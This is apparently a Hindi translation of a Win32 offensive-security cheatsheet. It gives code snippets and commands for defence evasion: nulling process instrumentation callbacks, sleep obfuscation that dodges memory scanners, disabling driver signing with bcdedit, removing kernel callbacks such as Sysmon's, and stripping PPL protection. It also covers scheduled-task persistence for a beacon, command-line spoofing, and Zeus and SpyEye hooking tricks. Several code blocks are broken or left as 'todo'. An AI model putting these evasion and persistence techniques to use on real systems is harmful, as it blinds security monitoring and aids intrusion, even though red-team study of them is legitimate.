## Process Instrumentation Callback
Process Instrumentation Callback को `ProcessInstrumentationCallback` फ्लैग (`0x40`) के रूप में परिभाषित किया गया है और इसका उपयोग सुरक्षा उत्पादों द्वारा [संभावित डायरेक्ट syscall](https://winternl.com/detecting-manual-syscalls-from-user-mode/) आह्वान का पता लगाने के लिए किया जाता है, जिसके तहत यह जाँचने हेतु एक कॉलबैक रजिस्टर किया जाता है कि `syscall` निर्देश executable image से आता है, न कि NTDLL से। हमारी प्रोसेस के लिए इसे बायपास करने के लिए हमें बस `Callback` को `NULL` सेट करना होगा।```c
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;
InstrumentationCallbackInfo.Version = 0x0;
InstrumentationCallbackInfo.Reserved = 0x0;
InstrumentationCallbackInfo.Callback = NULL;
NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );
यह अभी भी microsoft द्वारा "undocumented" है, लेकिन Alex Ionescu ने इसे यहाँ दस्तावेज़ित किया है और Everdox ने भी यहाँ ऐसा किया है।
इंस्ट्रुमेंटेशन को बायपास करने का पूरा कोड यहाँ : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/disable_instrumentation_callback.c
HeapWalk के साथ हीप को चलें और फिर allocations को एन्क्रिप्ट करें :```c
VOID HeapEncryptDecrypt() {
PROCESS_HEAP_ENTRY HeapWalkEntry;
SecureZeroMemory( &HeapWalkEntry, sizeof( HeapWalkEntry ) );
while ( HeapWalk( GetProcessHeap(), &HeapWalkEntry ) ) {
if ( ( HeapWalkEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY ) != 0 ) {
XORFunction( key, keySize, ( char* )( HeapWalkEntry.lpData ), HeapWalkEntry.cbData );
}
}
}
> अधिक जानकारी यहाँ: https://www.arashparsa.com/hook-heaps-and-live-free/
## स्लीप ऑबफस्केशन
स्लीप ऑबफस्केशन के आस-पास कई PoCs विभिन्न तंत्रों (UM APCs, TP और अन्य) के साथ सामने आए हैं, यहाँ हम [Ekko](https://github.com/Cracked5pider/Ekko/) को उदाहरण के रूप में लेते हैं जो समझने के लिए सबसे आसान PoC है।
Ekko की ROP चेन बहुत सरल है, यह मेमोरी प्रोटेक्शन को `RW` में बदलता है, `SystemFunction032` के साथ क्षेत्र को एन्क्रिप्ट करता है जो RC4 लागू करता है, `WaitForSingleObject` के साथ सोता है, क्षेत्र को डिक्रिप्ट करता है और प्रोटेक्शन को फिर से `RWX` में बदल देता है। अंत में, यह सभी `CONTEXT` को `CreateTimerQueueTimer` के साथ कतारबद्ध करता है।
> कुछ स्कैनर्स जैसे [TickTock](https://github.com/WithSecureLabs/TickTock) या [Patriot](https://github.com/joe-desimone/patriot) इसका पता लगाने के लिए जारी किए गए हैं, लेकिन आप NTDLL में `NtContinue` के लिए गैजेट के साथ ट्रैम्पोलिन का उपयोग करके और ROP चेन में `Rip` रजिस्टर को बदलकर उनसे बच सकते हैं।
<br>
# ड्राइवर प्रोग्रामिंग मूल बातें
## सामान्य अवधारणाएँ
ड्राइवर का उपयोग यूज़र मोड के बजाय कर्नेल मोड में कोड निष्पादित करने के लिए किया जाता है। यह उन सभी यूज़रमोड हुक्स और निगरानी को बायपास करने की एक शक्तिशाली तकनीक है जो AV/EDRs द्वारा सेट की गई हैं। इसका उपयोग कर्नेल कॉलबैक और अन्य कर्नेल निगरानी को बायपास करने के लिए भी किया जा सकता है।
किसी भी ड्राइवर का कोड सत्यापित होना चाहिए (किसी भी चेतावनी को त्रुटि के रूप में माना जाना चाहिए) ताकि यह सुनिश्चित हो सके कि यह क्रैश-मुक्त होगा (आप पेंटेस्ट के दौरान BSOD नहीं चाहते, है न?)।
कुछ साल पहले, Microsoft ने अपने ऑपरेटिंग सिस्टम से अहस्ताक्षरित ड्राइवरों पर प्रतिबंध लगाने का निर्णय लिया: आपको अपना खुद का ड्राइवर लोड करने से पहले इसे अक्षम करना होगा, या ड्राइवर साइनिंग को अक्षम करने के लिए किसी भी कमजोरी का उपयोग करना होगा (जैसे https://github.com/hmnthabit/CVE-2018-19320-LPE)।
वास्तविक पेंटेस्ट में, आपको कोई भी कमजोर ड्राइवर ढूंढना होगा और लाभ उठाना होगा:)
## सिस्टम सर्विस डिस्पैच टेबल (SSDT)
SSDT, या सिस्टम सर्विस डिस्पैच टेबल, एक तालिका है (स्पष्ट है) जो अपने वर्तमान इंडेक्स द्वारा संबंधित Nt फ़ंक्शन को हल कर सकती है। जब कोई यूज़रमोड कॉल किया जाता है, तो इसे नीचे दिए अनुसार हल किया जाता है:
- ```OpenProcess``` (Win32 API फ़ंक्शन कहा जाता है)
- ```NtOpenProcess``` (ntdll.dll में हल किया गया)```asm
mov r10, rcx
mov eax, 26
syscall
ret
ntdll में प्रत्येक Nt फ़ंक्शन के लिए सिस्टम कॉल प्रक्रियाएँ होती हैं
SSDT को एक Service Descriptor Table में परिभाषित किया गया है:```cpp typedef struct tagSERVICE_DESCRIPTOR_TABLE { SYSTEM_SERVICE_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself SYSTEM_SERVICE_TABLE win32k; SYSTEM_SERVICE_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table SYSTEM_SERVICE_TABLE sst4; } SERVICE_DESCRIPTOR_TABLE;
SSDT को अक्सर रूटकिट्स द्वारा हुक किया जाता है/था, क्योंकि संबंधित एड्रेस को उनके अपने फंक्शन्स में संशोधित करना संभव था। **Patchguard** ने इस संभावना को अक्षम कर दिया है, जब तक कि किसी आंतरिक कमजोरी के मामले में न हो।
> कई एंटीवायरस उत्पाद आज भी इस ट्रिक का उपयोग कर रहे हैं, संभवतः वही तकनीकें उपयोग करके जो दुष्ट हैकर्स;)
## ड्राइवर एंट्री
ड्राइवर एंट्री प्रोक नीचे दिए अनुसार परिभाषित है :```cpp
#include <ntddk.h>
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
return STATUS_SUCCESS;
}
DriverObject और RegistryPath पैरामीटर पर UNREFERENCED_PARAMETER() मैक्रो का उपयोग करना बहुत महत्वपूर्ण है, जब तक कि बाद में कुछ कोड जोड़कर उन्हें संदर्भित न किया जाए।```cpp
UNREFERENCED_PARAMETER(DriverObject);
UNREFERENCED_PARAMETER(RegistryPath);
## इनपुट आउटपुट
MajorFunction `IRP_MJ_CREATE` और `IRP_MJ_CLOSE` का उपयोग "interrupt" के रूप में करें ताकि आप क्लाइंट-साइड से अपने ड्राइवर के साथ संचार कर सकें।```cpp
DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;
फिर अपना CreateClose फ़ंक्शन परिभाषित करें :```cpp NTSTATUS CreateClose(In PDEVICE_OBJECT DeviceObject, In PIRP Irp) { UNREFERENCED_PARAMETER(DeviceObject);
DbgPrint("[+] Hello from FirstDriver CreateClose\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
Complete sample code here : //
## ड्राइवर के साथ संचार
यूज़र-मोड एप्लिकेशन DeviceIoControl को कॉल करके ड्राइवरों को IOCTL भेजते हैं, जो Microsoft Windows SDK दस्तावेज़ीकरण में वर्णित है। DeviceIoControl के कॉल I/O प्रबंधक को एक IRP_MJ_DEVICE_CONTROL अनुरोध बनाकर उसे सबसे ऊपरी ड्राइवर को भेजने के लिए प्रेरित करते हैं (https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes)
यूज़रलैंड ऐप को ड्राइवर के साथ संचार करने के लिए DeviceIoControl (ioapiset.h) फ़ंक्शन का उपयोग करना चाहिए।
इसका उपयोग उसके **Device** ऑब्जेक्ट को विभिन्न अनुरोध भेजने के लिए किया जाएगा।
सरल नमूना कोड यहाँ : //todo
## ड्राइवर हस्ताक्षर
जैसा कि [General concepts](#general-concepts) अनुभाग में वर्णित है, Windows सिस्टम पर इंस्टॉल करने से पहले ड्राइवरों पर हस्ताक्षर होना आवश्यक है। इस तथ्य के बावजूद कि इसे बायपास करने के लिए आपको किसी ड्राइवर या कर्नेल एक्सप्लॉइट का उपयोग करना होगा (उदाहरण के लिए Gigabyte ड्राइवर CVE), आप इसे मैन्युअल रूप से अक्षम कर सकते हैं:```powershell
bcdedit.exe -set loadoptions DISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON
फिर अपने कंप्यूटर को पुनरारंभ करें। जाहिर है, आपको उस मशीन पर स्थानीय व्यवस्थापक अधिकारों की आवश्यकता है जिस पर आप ये कमांड निष्पादित करना चाहते हैं। चूंकि पुनरारंभ आवश्यक है, यह बिल्कुल भी OPSEC नहीं है।
ObRegisterCallbacks (wdm.h) आपको "कस्टम" कॉलबैक परिभाषित करने की अनुमति देता है जिनका उपयोग किसी विशिष्ट ऑपरेशन, जैसे CreateProcess/OpenProcess (Handle create), द्वारा ट्रिगर होने पर यूज़रमोड ऐप के व्यवहार को संशोधित करने के लिए किया जा सकता है।
मूल रूप से, Ob Callbacks को OB_OPERATION_REGISTRATION ऐरे के साथ परिभाषित किया जाता है, जिसे OB_CALLBACK_REGISTRATION स्ट्रक्चर (कॉलबैक से भरा हुआ) से भरा जाएगा।
OpenProcess/CreateProcess पर ट्रिगर करने का उदाहरण:```c OB_OPERATION_REGISTRATION obOperationRegistrationArray[1] = { 0 }; OB_CALLBACK_REGISTRATION obCallbackRegistration = { 0 };
obOperationRegistrationArray[0].ObjectType = PsProcessType; //monitor for handles obOperationRegistrationArray[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; //detect created and duplicated handles obOperationRegistrationArray[0].PreOperation = process_ob_pre_op_callbacks; //intercept before the end of the operation with a pointer to a defined function in your own code obOperationRegistrationArray[0].PostOperation = NULL; //do nothing after the operation has been completed
NTSTATUS status_register = ObRegisterCallbacks(&obCallbackRegistration, ®_handle); //register callbacks if (!NT_SUCCESS(status_register)) { DbgPrint("[-] Error while trying to register callbacks\n"); } else {
DbgPrint("[+] Registering callbacks !\n");
}
**process_ob_pre_op_callbacks** एक उपयोगकर्ता-परिभाषित फ़ंक्शन है जिसे तब कॉल किया जाएगा जब कॉलबैक को इंटरसेप्ट किया जाएगा, और इसलिए यह ऑपरेशन को अस्वीकार या अनुमति दे सकता है।```c
OB_PREOP_CALLBACK_STATUS process_ob_pre_op_callbacks(PVOID registrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInformation) {
if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle
}
नोट : My_PROCESS_ALL_ACCESS को #define My_PROCESS_ALL_ACCESS (0x1FFFFF) के रूप में परिभाषित किया जा सकता है (win32 हेक्सा कोड)।
ObCallbacks को कैसे पैच करें : इन्हें पैच करने के कई तरीके हैं, लेकिन इस लक्ष्य को प्राप्त करने के लिए संभवतः दो सबसे सामान्य तरीके होंगे: एक obcallback फ़ंक्शन लिखना जिसमें कुछ ऐसा स्कीमा हो जैसे : "nop-nop-nop-ret", या _CALLBACK_ENTRY_ITEM आइटम्स से obcallback फ़ंक्शन पॉइंटर को मिटा देना। कृपया ध्यान दें कि ये तकनीकें वास्तव में PatchGuard को ट्रिगर कर सकती हैं, इसलिए वास्तविक अभियान में इन तकनीकों का उपयोग करते समय कृपया सावधानी बरतें।
कर्नेल कॉलबैक मुख्य रूप से Microsoft द्वारा AVs/EDRs के निर्माताओं को संदिग्ध क्रियाओं की निगरानी और रोकथाम का बेहतर तरीका प्रदान करने के लिए पेश किए गए थे (इनसे पहले, बहुत से सुरक्षा उत्पाद वही काम करने के लिए SSDT हुक जैसे कर्नेल मोड पैचिंग का उपयोग कर रहे थे, लेकिन नए PatchGuard संरक्षण ने उन्हें इस नए समाधान का उपयोग करने के लिए विवश कर दिया)।
कर्नेल कॉलबैक कई प्रकार के होते हैं, विशेष रूप से :
- ProcessNotify : जब कोई प्रोसेस बनाया जाता है या समाप्त होता है तो कॉल किया जाता है।
- ThreadNotify : जब कोई थ्रेड बनाया जाता है या समाप्त होता है (हटाया जाता है) तो कॉल किया जाता है।
- LoadImageNotify : जब किसी अन्य exe द्वारा कोई executable image लोड की जाती है तो कॉल किया जाता है (उदाहरण : किसी प्रोसेस द्वारा लोड की गई DLL)
इनमें से प्रत्येक का अपना संबद्ध फ़ंक्शन होता है, जैसे PsSetCreateProcessNotifyRoutineEx उन्हें आपके ड्राइवर में सेट करने के लिए। यह बाद वाला फ़ंक्शन एक कॉलबैक रूटीन को पंजीकृत करता है जब Windows सिस्टम में कोई नया प्रोसेस बनाया या हटाया जाता है। इसका प्रोटोटाइप नीचे दिए अनुसार परिभाषित है :```cpp NTSTATUS PsSetCreateProcessNotifyRoutineEx( [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, [in] BOOLEAN Remove );
**PCREATE_PROCESS_NOTIFY_ROUTINE_EX** उस कॉलबैक रूटीन का पॉइंटर है जिसे घटना ट्रिगर होने पर कॉल किया जाएगा (यहाँ, प्रोसेस बनने/समाप्त होने पर)।
**Remove** एक सरल फ़्लैग है जो दर्शाता है कि PsSetCreateProcessNotify कॉलबैक फ़ंक्शन को पंजीकृत करेगा या उसे हटाएगा (आपके ड्राइवर के क्लीनअप फ़ंक्शन में उपयोगी)।
कॉलबैक फ़ंक्शन इस प्रोटोटाइप का उपयोग करेगा :```cpp
void OnProcessNotify(
PEPROCESS Process,
HANDLE ProcessId,
PPS_CREATE_NOTIFY_INFO CreateInfo
);
जहाँ Process वर्तमान प्रोसेस है जिसे बनाया/हटाया जा रहा है, ProcessId इस प्रोसेस की आईडी है, और CreateInfo एक संरचना है जिसमें इस प्रोसेस के बारे में विभिन्न जानकारी होती है।
जब कोई ड्राइवर एक नया कॉलबैक रूटीन पंजीकृत करता है, तो उसका पता एक ऐरे में संग्रहीत किया जाएगा जिसे आमतौर पर Pspname_of_your_callback नाम दिया जाता है। उदाहरण के लिए, सभी ProcessNotifyRoutine फ़ंक्शन की सूची PspCreateProcessNotifyRoutine ऐरे में संग्रहीत की जाती है।
ऐसे कॉलबैक हटाने के लिए, आपको बस इस ऐरे को खाली करना होगा!
दुर्भाग्य से, इस अत्यंत रोमांचक ऐरे का पता प्राप्त करने का कोई सीधा तरीका नहीं है। सौभाग्य से, इसे मैन्युअल रूप से करने के कई तरीके हैं, जैसे मेमोरी में कुछ विशिष्ट ऑफसेट खोजना।
एक बार जब आपको सही पता मिल जाए, तो आप पंजीकृत सभी कॉलबैक की गणना कर सकते हैं और उन्हें ड्राइवर नाम से फ़िल्टर कर सकते हैं (Sysmon ड्राइवर शायद ?:)), और सूची में केवल संबंधित कॉलबैक फ़ंक्शन हटा सकते हैं।
Protected Processes को Windows Vista के साथ पेश किया गया था। इसे EPROCESS नामक एक संरचना के रूप में परिभाषित किया जा सकता है (अपरिभाषित : https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess) जो यह परिभाषित करती है कि प्रोसेस सुरक्षित है या नहीं, तीन दिलचस्प सदस्यों के साथ :``` kd> dt nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : Ptr64 Void [...snip...] +0x6c8 SignatureLevel : UChar //signature integrity of exe +0x6c9 SectionSignatureLevel : UChar //Second member : same as first for DLL loaded by the exe +0x6ca Protection : _PS_PROTECTION
तीसरा सदस्य (Protection) एक PS_PROTECTION struct है जिसे नीचे के अनुसार परिभाषित किया गया है :```
_PS_PROTECTION
+0x000 Level : UChar
+0x000 Type : Pos 0, 3 Bits
+0x000 Audit : Pos 3, 1 Bit
+0x000 Signer : Pos 4, 4 Bits
PPL सुरक्षा हटाने के लिए, आपको SignatureLevel,SectionSignatureLevel और Protection को 0 पर सेट करना होगा।
चूँकि EPROCESS बेस एड्रेस और PS_PROTECTION के बीच ऑफसेट 0x6c8 है, आप इन दोनों मानों को जोड़कर इसे प्राप्त कर सकते हैं।
उदाहरण कोड : //todo
नोट : इस भाग के कई उदाहरण यहाँ से लिए गए हैं : https://learn.microsoft.com/en-us/windows/win32/taskschd/using-the-task-scheduler?source=recommendations
Windows OS में किसी भी कार्य को शेड्यूल करने का "पारंपरिक" तरीका ग्राफ़िकल इंटरफ़ेस (Task Scheduler) से होकर गुजरता है। यह हमारे लिए इतना व्यावहारिक नहीं है, क्योंकि हमें अक्सर समझौता किए गए सिस्टम पर केवल कमांड लाइन सत्र मिलता है।
सौभाग्य से, Win32 API का उपयोग ऐसे कार्यों को बनाने के लिए किया जा सकता है, जिससे आप अपने beacon या privesc के लिए बेहतरीन पर्सिस्टेंस स्थापित कर सकते हैं।
मूल रूप से, आपको COM लाइब्रेरी को आरंभ करना होगा, फिर CoCreateInstance() API के साथ ITaskService क्लास का एक नया instance बनाना होगा। अब आप अपने ITaskService ऑब्जेक्ट को संपादित करके root folder, action, time आदि को बदल सकते हैं। नीचे एक उदाहरण है :```cpp /******************************************************************** This sample schedules a task to start Notepad.exe 30 seconds after the system is started. ********************************************************************/
#define _WIN32_DCOM
#include <windows.h> #include #include <stdio.h> #include <comdef.h> // Include the task header file. #include <taskschd.h> #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib")
using namespace std;
int __cdecl wmain() { // ------------------------------------------------------ // Initialize COM. HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if( FAILED(hr) ) { printf("\nCoInitializeEx failed: %x", hr ); return 1; }
// Set general COM security levels.
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);
if( FAILED(hr) )
{
printf("\nCoInitializeSecurity failed: %x", hr );
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Create a name for the task.
LPCWSTR wszTaskName = L"Boot Trigger Test Task";
// Get the Windows directory and set the path to Notepad.exe.
wstring wstrExecutablePath = _wgetenv( L"WINDIR");
wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";
// ------------------------------------------------------
// Create an instance of the Task Service.
ITaskService *pService = NULL;
hr = CoCreateInstance( CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService );
if (FAILED(hr))
{
printf("Failed to create an instance of ITaskService: %x", hr);
CoUninitialize();
return 1;
}
// Connect to the task service.
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
if( FAILED(hr) )
{
printf("ITaskService::Connect failed: %x", hr );
pService->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the pointer to the root task folder.
// This folder will hold the new task that is registered.
ITaskFolder *pRootFolder = NULL;
hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
if( FAILED(hr) )
{
printf("Cannot get Root Folder pointer: %x", hr );
pService->Release();
CoUninitialize();
return 1;
}
// If the same task exists, remove it.
pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0 );
// Create the task builder object to create the task.
ITaskDefinition *pTask = NULL;
hr = pService->NewTask( 0, &pTask );
pService->Release(); // COM clean up. Pointer is no longer used.
if (FAILED(hr))
{
printf("Failed to create a task definition: %x", hr);
pRootFolder->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the registration info for setting the identification.
IRegistrationInfo *pRegInfo= NULL;
hr = pTask->get_RegistrationInfo( &pRegInfo );
if( FAILED(hr) )
{
printf("\nCannot get identification pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pRegInfo->put_Author(L"Author Name");
pRegInfo->Release();
if( FAILED(hr) )
{
printf("\nCannot put identification info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Create the settings for the task
ITaskSettings *pSettings = NULL;
hr = pTask->get_Settings( &pSettings );
if( FAILED(hr) )
{
printf("\nCannot get settings pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set setting values for the task.
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
if( FAILED(hr) )
{
printf("\nCannot put setting info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the trigger collection to insert the boot trigger.
ITriggerCollection *pTriggerCollection = NULL;
hr = pTask->get_Triggers( &pTriggerCollection );
if( FAILED(hr) )
{
printf("\nCannot get trigger collection: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Add the boot trigger to the task.
ITrigger *pTrigger = NULL;
hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger );
pTriggerCollection->Release();
if( FAILED(hr) )
{
printf("\nCannot create the trigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IBootTrigger *pBootTrigger = NULL;
hr = pTrigger->QueryInterface(
IID_IBootTrigger, (void**) &pBootTrigger );
pTrigger->Release();
if( FAILED(hr) )
{
printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
if( FAILED(hr) )
printf("\nCannot put the trigger ID: %x", hr);
// Set the task to start at a certain time. The time
// format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
// For example, the start boundary below
// is January 1st 2005 at 12:05
hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
if( FAILED(hr) )
printf("\nCannot put the start boundary: %x", hr);
hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
if( FAILED(hr) )
printf("\nCannot put the end boundary: %x", hr);
// Delay the task to start 30 seconds after system start.
hr = pBootTrigger->put_Delay( L"PT30S" );
pBootTrigger->Release();
if( FAILED(hr) )
{
printf("\nCannot put delay for boot trigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Add an Action to the task. This task will execute Notepad.exe.
IActionCollection *pActionCollection = NULL;
// Get the task action collection pointer.
hr = pTask->get_Actions( &pActionCollection );
if( FAILED(hr) )
{
printf("\nCannot get Task collection pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Create the action, specifying it as an executable action.
IAction *pAction = NULL;
hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
pActionCollection->Release();
if( FAILED(hr) )
{
printf("\nCannot create the action: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IExecAction *pExecAction = NULL;
// QI for the executable task pointer.
hr = pAction->QueryInterface(
IID_IExecAction, (void**) &pExecAction );
pAction->Release();
if( FAILED(hr) )
{
printf("\nQueryInterface call failed for IExecAction: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set the path of the executable to Notepad.exe.
hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) );
pExecAction->Release();
if( FAILED(hr) )
{
printf("\nCannot set path of executable: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Save the task in the root folder.
IRegisteredTask *pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t( wszTaskName ),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(L"Local Service"),
varPassword,
TASK_LOGON_SERVICE_ACCOUNT,
_variant_t(L""),
&pRegisteredTask);
if( FAILED(hr) )
{
printf("\nError saving the Task : %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
printf("\n Success! Task successfully registered. " );
// Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}
## कमांड लाइन स्पूफिंग
सिसमॉन/प्रोसेस हैकर निगरानी के साथ भी यह पूरी तरह से काम करता है; यह आपके कमांड आर्ग्स को छिपाने की क्षमता को सक्षम बनाता है, जो पेंटेस्ट/रेड टीम ऑप्स में उपयोगी हो सकता है (```powershell -enc .....```)
इस उद्देश्य को प्राप्त करने के लिए, आप सस्पेंडेड मोड में "वैध" कमांड आर्ग्स के साथ एक नया प्रोसेस स्पॉन कर सकते हैं, फिर इन आर्ग्स को सीधे PEB में संपादित कर सकते हैं।
Poc : https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%203%20-%20CMD%20spawn%20with%20fake%20procexp%20args/code.cpp
# विविध सामग्री
## x64 कॉलिंग कन्वेंशन
- पहले 4 पूर्णांक आर्गुमेंट रजिस्टर `RCX`, `RDX`, `R8`, और `R9` में पास किए जाते हैं।
- अतिरिक्त आर्गुमेंट स्टैक पर पुश किए जाते हैं।
- रिटर्न एड्रेस के बाद `RCX`, `RDX`, `R8`, और `R9` के लिए आरक्षित 32-बाइट क्षेत्र होता है।
- लोकल वेरिएबल्स और नॉन-वोलाटाइल रजिस्टर रिटर्न एड्रेस के ऊपर संग्रहीत होते हैं।
- `RBP` का उपयोग लोकल वेरिएबल्स/फ़ंक्शन आर्गुमेंट्स को संदर्भित करने के लिए नहीं किया जाता है, और `RSP` पूरे फ़ंक्शन के दौरान स्थिर रहता है।
> नोट्स:
> - यदि किसी फ़ंक्शन में आर्गुमेंट्स की परिवर्तनीय संख्या होती है, तो उसे उन्हें पास करने के लिए स्टैक का उपयोग करना चाहिए
> - यदि रिटर्न वैल्यू एक स्ट्रक्चर है, तो कॉलर रिटर्न वैल्यू के लिए स्थान आवंटित करने और उस स्थान का पॉइंटर पहले आर्गुमेंट के रूप में पास करने के लिए ज़िम्मेदार है
> - कैली `RBX`, `RBP`, और `R12`–`R15` रजिस्टरों के मानों को संरक्षित करने के लिए ज़िम्मेदार है, लेकिन अन्य रजिस्टरों को स्वतंत्र रूप से संशोधित कर सकता है
> - कॉल साइट पर स्टैक 16-बाइट सीमा के अनुसार संरेखित होता है
> - कैली रिटर्न करने से पहले स्टैक पॉइंटर (`RSP`) को उसके मूल मान पर पुनर्स्थापित करने के लिए ज़िम्मेदार है
## अप्रत्यक्ष निष्पादन
यहाँ अप्रत्यक्ष निष्पादन का तात्पर्य कुछ कार्यों के निष्पादन को प्राप्त करने के लिए ROP से है, आपको सही रजिस्टर में पैरामीटर जोड़ने की आवश्यकता होगी, इसके लिए आपको [x64 कॉलिंग कन्वेंशन](https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet#x64-calling-convention) समझना होगा।
- `CONTEXT` संरचना के साथ ROP को वर्तमान कॉन्टेक्स्ट प्राप्त करने के लिए `RtlCaptureContext` और ROP के निष्पादन को जारी रखने के लिए `NtContinue` की आवश्यकता होगी, जिसमें पैरामीटर के रूप में `CONTEXT` संरचना सही रजिस्टरों में सही फ़ंक्शन आर्गुमेंट्स से भरी हो। यदि आप चाहें तो अपने ROP को असेंबली में भी बना सकते हैं।
### SetProcessValidCallTargets के साथ CFG बाईपास
यह वास्तविक बाईपास नहीं है, लेकिन यह आपके ROP में उपयोग किए जा रहे फ़ंक्शन (जैसे कि `NtContinue`) को व्हाइटलिस्ट कर देगा।```c
CFG_CALL_TARGET_INFO Cfg = { 0 };
Cfg.Offset = ( ULONG_PTR )pAddress - ( ULONG_PTR )Mbi.BaseAddress;
Cfg.Flags = CFG_CALL_TARGET_VALID;
SetProcessValidCallTargets( ( HANDLE )-1, Mbi.BaseAddress, Mbi.RegionSize, 1, &Cfg );
यह तकनीक प्रसिद्ध मैलवेयर Emotet में खोजी गई है। एक नई powershell प्रक्रिया चलाने के लिए (जो कुछ पेलोड निष्पादित करने के लिए होती है), यह WMI इंस्टेंस के साथ COM api का उपयोग करता है। इस चाल से, powershell प्रक्रिया WMIPrvSE प्रक्रिया की चाइल्ड प्रक्रिया के रूप में चलाई जाती है, जो किसी संदिग्ध exe या Word फ़ाइल द्वारा चलाए जाने की तुलना में कहीं कम संदिग्ध होती है।
सुप्रसिद्ध Zeus मैलवेयर समझौता किए गए सिस्टम में अपने लॉग्स (कीस्ट्रोक, पासवर्ड, आदि) छिपाने के लिए एक काफी चतुर चाल का उपयोग करता है। यह प्रदर्शित परिणामों को फ़िल्टर करने के लिए NtQueryDirectoryFile() फ़ंक्शन को हुक करता है।```cpp
typedef struct _FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
if (file_matches) {
// Check for end of list if (pCurrentFileNames->NextEntryOffset == 0) { // Hide current file if (pPrev) pPrevFileNames->NextEntryOffset = 0; else return STATUS_NO_SUCH_FILE;
स्रोत : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
## SpyEye कीलॉगर हुकिंग तकनीक
SpyEye मैलवेयर कीस्ट्रोक्स को सहेजने के लिए ```TranslateMessage()``` फ़ंक्शन को हुक करता है : हुक प्रक्रिया टाइप किए गए कैरेक्टर को 20000 बाइट्स के बफर में जोड़ने के लिए ```GetKeyboardState``` फ़ंक्शन का उपयोग करती है।
स्रोत : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
## Wannacry किलस्विच
